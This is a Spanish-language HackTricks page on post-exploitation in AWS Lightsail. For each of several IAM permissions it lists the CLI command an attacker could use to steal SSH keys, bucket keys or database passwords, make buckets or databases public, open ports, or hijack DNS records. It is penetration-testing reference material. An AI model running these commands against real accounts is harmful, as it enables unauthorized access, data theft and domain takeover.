AWS - Lightsail Privesc

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Lightsail

Para obtener más información sobre Lightsail, consulta:

pageAWS - Lightsail Enum

Es importante tener en cuenta que Lightsail no utiliza roles de IAM pertenecientes al usuario sino a una cuenta administrada por AWS, por lo que no se puede abusar de este servicio para la escalada de privilegios. Sin embargo, datos sensibles como código, claves API e información de bases de datos podrían encontrarse en este servicio.

lightsail:DownloadDefaultKeyPair

Este permiso te permitirá obtener las claves SSH para acceder a las instancias:

aws lightsail download-default-key-pair

Impacto potencial: Encontrar información sensible dentro de las instancias.

lightsail:GetInstanceAccessDetails

Esta permiso te permitirá generar claves SSH para acceder a las instancias:

aws lightsail get-instance-access-details --instance-name <instance_name>

Impacto potencial: Encontrar información sensible dentro de las instancias.

lightsail:CreateBucketAccessKey

Esta permiso te permitirá obtener una clave para acceder al bucket:

aws lightsail create-bucket-access-key --bucket-name <name>

Impacto potencial: Encontrar información sensible dentro del bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Esta permiso te permitirá obtener las credenciales para acceder a la base de datos:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Impacto potencial: Encontrar información sensible dentro de la base de datos.

lightsail:UpdateRelationalDatabase

Esta permiso te permitirá cambiar la contraseña para acceder a la base de datos:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Si la base de datos no es pública, también podrías hacerla pública con estos permisos con

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Impacto potencial: Encontrar información sensible dentro de la base de datos.

lightsail:OpenInstancePublicPorts

Este permiso permite abrir puertos a Internet.

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Impacto potencial: Acceso a puertos sensibles.

lightsail:PutInstancePublicPorts

Esta permiso permite abrir puertos a Internet. Tenga en cuenta que la llamada cerrará cualquier puerto abierto que no esté especificado en ella.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Impacto potencial: Acceso a puertos sensibles.

lightsail:SetResourceAccessForBucket

Estos permisos permiten dar a una instancia acceso a un bucket sin necesidad de credenciales adicionales

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Impacto potencial: Posible nuevo acceso a buckets con información sensible.

lightsail:UpdateBucket

Con este permiso, un atacante podría otorgar a su propia cuenta de AWS acceso de lectura sobre buckets o incluso hacer que los buckets sean públicos para todos:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Impacto potencial: Posible nuevo acceso a buckets con información sensible.

lightsail:UpdateContainerService

Con estos permisos, un atacante podría otorgar acceso a ECRs privados desde el servicio de contenedores.

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Impacto Potencial: Obtener información sensible de ECR privado

lightsail:CreateDomainEntry

Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (apoderamiento de subdominio), o crear un registro SPF que le permita falsificar correos electrónicos desde el dominio, o incluso establecer la dirección IP de su propio dominio principal.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impacto Potencial: Toma de control de un dominio

lightsail:UpdateDomainEntry

Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de control de subdominio), o crear un registro SPF que le permita falsificar correos electrónicos desde el dominio, o incluso establecer la dirección IP de su propia dirección IP como la del dominio principal.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impacto Potencial: Toma de control de un dominio

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Última actualización